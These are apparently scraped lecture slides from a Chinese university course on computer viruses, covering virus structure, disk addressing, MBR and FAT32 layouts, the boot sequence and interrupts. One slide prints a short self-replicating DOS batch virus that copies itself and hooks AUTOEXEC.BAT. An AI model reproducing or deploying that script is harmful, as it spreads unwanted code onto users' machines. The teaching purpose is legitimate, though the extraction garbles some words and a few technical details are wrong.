1.03k likes | 1.19k Views
计算机病毒 Computer Virus. 傅建明 Fujms@sina.com. 武汉大学计算机学院. 第二章 预备知识. 主要内容:病毒的基本结构,磁盘结构,文件系统,文件格式 讲授:原理介绍与工具演示结合 基础和重点. 第二章 预备知识. 2.1 计算机病毒的结构 2.2 计算机磁盘的管理 2.3 Windows 文件系统 2.4 计算机的引导过程 2.5 中断与异常 2.6 内存管理 2.7 EXE 文件格式 . 计算机病毒的结构. ECHO OFF IF %DRIVE%==A: GOTO END123
E N D
计算机病毒Computer Virus 傅建明 Fujms@sina.com 武汉大学计算机学院
第二章 预备知识 主要内容:病毒的基本结构,磁盘结构,文件系统,文件格式 讲授:原理介绍与工具演示结合 基础和重点
第二章 预备知识 • 2.1 计算机病毒的结构 • 2.2 计算机磁盘的管理 • 2.3 Windows文件系统 • 2.4 计算机的引导过程 • 2.5 中断与异常 • 2.6 内存管理 • 2.7 EXE文件格式
计算机病毒的结构 • ECHOOFF • IF %DRIVE%==A:\ GOTOEND123 • IF %DRIVE%==C:\ GOTOEND123 • IF %COMSPEC%= =C:\WINDOWS\COMMAND.COMSETDRIVE=A:\ • IF %COMSPEC%= =A:\COMMAND.COM SETDRIVE=C:\ • IFNOTEXIST%DRIVE%AUTOEXEC.BATGOTOEND123 • COPY VIRUS.BAT %DRIVE%>NUL • ECHO CALLVIRUS>TMP.DAT • COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT %DRIVE%AUTOEXEC.BAT >NUL • DEL TMP.DAT>NUL • Echo BAT Virus Test! I will format your Disk! • :END123 • ECHOON
计算机病毒的结构 触发机制: 这部分主要用来控制病毒的传播和发作。 传播机制: 这部分主要负责病毒的感染和传播。 表现机制: 这个模块也称为破坏模块。
盘面基本结构 硬盘基本结构 1 磁盘结构
计算机磁盘的管理 硬盘的三个基本参数-CHS:磁头数(Heads)、柱面数(Cylinders)、扇区数(Sectors)、以及相应的寻址方式。 磁头数(Heads): 8bit;0-255 柱面数(Cylinders): 10bit,0-1023 扇区数(Sectors): 6bit,0-63 一个硬盘实际最大容量为: 255 * 1023 * 63 * 512/1048576 = 8024 MB
计算机磁盘的管理 • NORMAL, 普通模式: 这是原来的IDE 硬盘工作模式,支持的最大柱面数为1024,最大磁头数为16,每磁道最大扇区数为63,该模式可管理的最大硬盘容量为: • 1024 ×16 ×63 ×512 • =504MB
计算机磁盘的管理 • LBA(Logical Block Addressing), 逻辑块地址模式: 在该模式下设置的柱面数、磁头数和每磁道扇区数并不是实际的物理参数,在访问硬盘时,由EIDE 控制器把由柱面数、磁头数和每磁道扇区数等参数确定的逻辑地址转换为实际的物理地址。支持的最大磁头数为255,其他参数与普通模式相同。因此,该模式可管理的最大硬盘容量为: • 1024 ×255 ×63 ×512= 8024 MB
计算机磁盘的管理 • LBA=[(cylinder * heads_per_cylinder + heads)* sectors_per_track] +(sector-1) • C=LBA DIV (PH*PS) • H=(LBA DIV PS) mod PH • S=LBA mod PS
计算机磁盘的管理 • ATA-1: C-16bit,H-8bit, S-4bit(28bit) • MAX=65536×255×16×512/1024 KB=127.5 GB • Int 13: C-10bit, H-8bit, C-6bit(24bit) • EX Int 13: 64bit线性地址 • BigDrives:CHS每个参数为16bit=48bit • 64T 支持大硬盘:芯片组,主板BIOS,操作系统。
计算机磁盘的管理 • ⑶LARGE, 大模式: 当硬盘的柱面数超过1024 而又不为LBA 所支持时,可采用该模式。LARGE 模式参数设置方法是把柱面数除以2,把磁头数乘以2,使柱面减少容量不变。例如,硬盘物理柱面数为1460,磁头数为16,进入LARGE 模式则变为柱面数730,磁头数32,这样在一些软件看来柱面数小于了1024。该模式可管理的硬盘最大容量为: • ---- 1024 ×32 ×63 ×512=1GB
计算机磁盘的管理 主引导扇区(Boot Sector)也就是硬盘的第一个扇区(0面0磁道1扇区),它由主引导记录(Main Boot Record,MBR),硬盘主分区表(Disk Partition Table,DPT)和引导扇区标记(Boot Record ID)三部分组成。该扇区在硬盘进行分区时产生,用FDISK/MBR可重建标准的主引导记录程序。
计算机磁盘的管理 • 000H — 08AH :主引导程序,用于寻找活动分区 • 08BH — 0D9H:启动字符串 • 0DAH — 1BCH :保留 • 1BEH — 1FDH :硬盘主分区表 • 1FEH — 1FFH:结束标记(55AA)
第一个主分区:绝对地址(LBA)=0000003f=63 总扇区数=00FA08BD=16386237 第二个主分区:绝对地址(LBA)=00FA08fc=16386300 总扇区数=0856dbc5=139910085
计算机磁盘的管理 第一个虚拟MBR,start sector=16386300,其内容如上: 分区项1第一个逻辑D, 相对地址(LBA)=0000003f=63, 总扇区数=01de7f61=31358817 • 分区项2相对地址(LBA)=01de7fa0=31358880, 总扇区数=01d4f039=30732345 (用PQ时为30732282,减去了虚拟MBR的63个扇区)
计算机磁盘的管理 • 第二虚拟MBR的位置为=16386300+31358880=47745180
计算机磁盘的管理 硬盘的逻辑分区排列如下: MBR(63)+DBR(32)+FAT1+FAT2+DATA DBR=DOS引导程序+BPB(BIOS Parameter Block)
系统启动过程简介 • 1.开机 • 2.BIOS加电自检(Power On Self Test,即POST),此时电源稳定后,CPU从内存地址0ffff:0000处开始执行。 • 3.将硬盘第一个扇区(0头0道1扇区,也就是Boot Sector)读入内存地址0000:7c00 处。 • 4.检查(WORD)0000:7dfe是否等于0xaa55,若不等于则转去尝试其它启动介质,如果没有其它启动介质则显示“No ROM BASIC”,然后死机。 • 5.跳转到0000:7c00 处执行MBR中的程序。 • 6.MBR首先将自己复制到0000:0600 处,然后继续执行。 • 7.在主分区表中搜索标志为活动的分区。如果发现没有活动分区或有不止一个活动分区,则显示“Invalid partition table”并挂起系统。 • 8.将活动分区的第一个扇区读入内存地址0000:7c00处。 • 9.检查(WORD)0000:7dfe是否等于0xaa55,若不等于则显示“Missing Operating System”然后停止,或尝试软盘启动。 • 10.跳转到0000:7c00处继续执行特定系统的启动程序。
扩展Int13H 1.数据类型约定 BYTE 1 字节整型(8位) WORD 2 字节整型(16位) DWORD 4 字节整型(32位) QWORD 8 字节整型(64位)
扩展Int13H 磁盘地址数据包Disk Address Packet (DAP) DAP是基于绝对扇区地址的,因此利用DAP,Int13H可以轻松地逾越1024柱面的限制,因为它根本就不需要CHS的概念。 DAP的结构如下: STRUCT DiskAddressPacket { BYTE PacketSize; // 数据包尺寸(==16字节) BYTE Reserved; // ==0 WORD BlockCount; // 要传输的数据块个数(以扇区为单位) DWORD BufferAddr; // 传输缓冲地址(segment:offset) QWORD BlockNum; // 磁盘起始绝对块地址 };
扩展Int13H ds:di => 磁盘地址数据包(disk address packet) dl => 驱动器号 ah => 功能代码/返回码 • 检查扩展Int 13H是否存在(41h), • 扩展读(42h), • 扩展写(43h), • 校验扇区(44h), • 扩展定位(47h), • 取得驱动器参数(48h)
Windows文件系统 对文件的读写,屏蔽底层操作。 主引导记录(Master Boot Record,MBR)、 磁盘分配表(Partition Table,DPT)、 引导记录(Boot Record,DBR)、 文件分配表(File Allocation Table,FAT) 根目录(Root Directory) 簇:若干扇区合并为一个簇,其数目必须是2的幂方。微软把这些簇称为分配单元(Allocation Unit)
FAT FAT12,FAT16,FAT32,NTFS,HPFS,VFS FAT中的一个点表示该簇的状态,是空闲,还是占用。如果该点用12bit表示为FAT12,用32bit表示为FAT32。则最大簇空间: FAT12的最大空间为=2**12=4K FAT16的最大空间为=2**16=64K FAT32的最大空间为=2**32=4G
FAT32 DBR+FAT1+FAT2+DATA 没有采用固定的FDT,根目录起始扇区由BDR指定。 FDT:每项32字节,一簇为4k,则最多的目录项=8*512/32=128个
FAT32 • (1) 0-- 7字节 文件正名。 (2) 8--10字节 文件扩展名。 (3) 11字节 文件属性,按二进制位定义,最高两位保留未用,0至5位分别是只读位、隐藏位、系统位、卷标位、子目录位、归档位。 (4) 11--13字节 仅长文件名目录项用,用来存储其对应的短文件名目录项的文件名字节校验和等。 (5) 13--15字节 24位二进制的文件建立时间,其中的高5位为小时,次6位为分钟。 (6) 16--17字节 16位二进制的文件建立日期,其中的高7位为相对于1980年的年份值,次4位为月份,后5位为月内日期。 (7) 18--19字节 16位二进制的文件最新访问日期,定义同(6)。(8) 20--21字节 起始簇号的高16位。(9) 22--23字节 16位二进制的文件最新修改时间,其中的高5位为小时,次6位为分钟,后5位的二倍为秒数。 (10)24--25字节 16位二进制的文件最新修改日期,定义同(6)。(11)26--27字节 起始簇号的低16位。 (12)28--31字节 32位的文件字节长度。
FAT32 其中第(4)至(8)项为以后陆续定义的。 对于子目录项,其(12)为零;已删除目录项的首字节值为E5H。在可以使用长文件名的FAT32系统中,文件目录项保存该文件的短文件名,长文件名用若干个长文件名目录项保存,长文件名目录项倒序排在文件短目录项前面,全部是采用双字节内码保存的,每一项最多保存十三个字符内码,首字节指明是长文件名的第几项,11字节一般为0FH,12字节指明类型,13字节为校验和,26--27字节为零。
长文件名-SECURITY-ZHANG.LOG 每一项最多保存13个字符内码: 首字节为长文件名的第几项,0B=0F,0C指名类型,0D为校验码,1A-1B为0。32-6=26=13*2 起始簇=1573903
SECURITY-ZHANG.LOG的簇链 起始簇=1573903->189160|x->189161|x->189162|x->189163|x-> 189164
计算机的引导过程 1.电源就开始向主板和其它设备供电, CPU马上从地址FFFF0H处开始执行指令,该指令是一条跳转指令,该指令跳到系统BIOS中真正的启动代码处。 2.系统BIOS的启动代码首先要做的事情就是进行POST(Power On Self Test,加电自检),POST的主要任务是检测系统中的一些关键设备(如内存和显卡等)是否存在和能否正常工作。
计算机的引导过程 3.系统BIOS将查找显示卡的BIOS,查找完所有其它设备的BIOS,系统BIOS将检测CPU的类型和工作频率,测试主机所有的内存容量 4.系统BIOS将开始检测系统中安装的一些标准硬件设备,这些设备包括:硬盘、CD-ROM、软驱、串行接口和并行接口等连接的设备 5.系统BIOS内部的支持即插即用的代码将开始检测和配置系统中安装的即插即用设备. 6.系统BIOS将更新ESCD(Extended System Configuration Data,扩展系统配置数据)。ESCD是系统BIOS用来与操作系统交换硬件配置信息的数据
计算机的引导过程 7.系统BIOS的启动代码将进行它的最后一项工作,即根据用户指定的启动顺序从软盘、硬盘或光驱启动。以从C盘启动为例,系统BIOS将读取并执行硬盘上的主引导记录,主引导记录接着从分区表中找到第一个活动分区,然后读取并执行这个活动分区的分区引导记录,而分区引导记录将负责读取并执行IO.SYS,这是DOS和Windows 9x最基本的系统文件。
中断与异常 • 80386把外部中断称为“中断”,把内部中断称为“异常” • 通常在两条指令之间响应中断或异常。80386最多处理256种中断或异常。 • 对80386而言,中断是由异步的外部事件引起的,中断用于指示I/O设备的一次操作已完成。
中断与异常 • 80386有两根引脚INTR和NMI接受外部(硬件)中断请求信号。INTR接受可屏蔽中断请求。NMI接受不可屏蔽中断请求。 • 在80386中,不可屏蔽中断所对应的中断向量号固定为2。 • 异常是80386在执行指令期间检测到不正常的或非法的条件所引起的。如执行除法指令时,除数等于0;执行指令时发现特权级不正确。当发生这些情况时,指令就不能成功完成。软中断指令“INT n”和“INTO”也归类于异常。
中断与异常 • 故障是在引起异常的指令之前,把异常情况通知给系统的一种异常。80386认为故障是可排除的。当控制转移到故障处理程序时,所保存的断点CS及EIP的值指向引起故障的指令。 • 陷阱是在引起异常的指令之后,把异常情况通知给系统的一种异常。当控制转移到异常处理程序时,所保存的断点CS及EIP的值指向引起陷阱的指令的下一条要执行的指令。 • 中止是在系统出现严重情况时,通知系统的一种异常。引起中止的指令是无法确定的。产生中止时,正执行的程序不能被恢复执行。
中断优先权 • 中断优先权由高到低的顺序是 • 1.调试故障。 • 2.其它故障。 • 3.除法错,INTO(溢出中断),INT n(软件中断)。 • 4.NMI(不可屏蔽中断)。 • 5.INTR(可屏蔽中断)。 • 6.单步中断。
中断向量表 • 该表用来存放各种中断程序的入口地址,每一中断向量的入口地址占有4个字节,高两字节存放中断向量的段地址,低两字节存放中断向量的偏移地址。整个中断向量表中可以存放256个中断向量地址,编号从00到255 。
中断向量表 中断号说明 中断号说明 8088中断向量 0H除以零 1H 单步(用于DEBUG) 2H 非屏蔽中断 3H 断点指令(用于DEBUG) 4H 溢出 5H 打印屏幕 6H 保留 7H 保留 8259中断向量 8H 定时器 9H 键盘 AH 彩色/图形 BH 异步通讯(secondary) CH 异步通讯(primary) DH 硬磁盘 EH 软磁盘 FH 并行打印机 BIOS中断 10H 屏幕显示 11H 设备检验 12H 测定存储器容量 13H 磁盘I/O 14H 串行通讯口I/O 15H 盒式磁带I/O 16H 键盘输入 17H 打印机输出 18H BASIC入口代码 19H 引导装入程序 1AH 日期时钟 提供给用户的中断 1BH Ctrl-Break控制的软中断 1CH 定时器控制器的软中断 数据表指针 1DH 显示器参量表 1EH 软盘参量表 1FH 图形表 DOS中断 20H 程序结束 21H 系统功能调用 22H 结束退出 23H Ctrl-Break退出 24H 严重错误处理 25H 绝对磁盘读功能 26H 绝对磁盘写功能 27H 驻留退出 28H-2EH DOS保留 2FH 打印机 30H-3FH DOS保留 BASIC中断 40H-5FH 保留 60H-67H 用户软中断 68H-7FH 保留 80H-85H 由BASIC保留 86H-F0H BASIC中断 F1H-FFH 保留
中断处理过程 1.把状态标志进栈保护。 • 2.0—〉IF(清除标志IF,禁止跟踪),0一〉TF(清除标志TF,禁止中断)。 • 3.根据中断类型号计算中断向量入口地址在向量表中的位移,计算的方法是: 位移=中断类型号×4 4.保护断点,把当前代码段寄存器的内容进栈保护,将中断向量的段地址送CS;把当前指令指针入栈保护,将中断向量的偏移地址送IP;于是,程序就转到了中断服务程序。 • 进入中断服务程序之后,一般要保护现场(寄存器压栈),然后进行中断服务,在中断返回前要恢复现场(寄存器弹栈),最后用STI开中断,并用IRET恢复断点处的标志寄存器、CS和IP的值。
DOS内存管理 • DOS在基本内存(640K)运行时的内存分配状态。在计算机通常的工作方式(实方式)下,总体上来说,DOS可以管理的内存空间为lMB(=2**20)。此1MB空间可分为两大部分,一部分是RAM区,另一部分则是ROM区。而RAM区又分为系统程序、数据区和用户程序区两部分。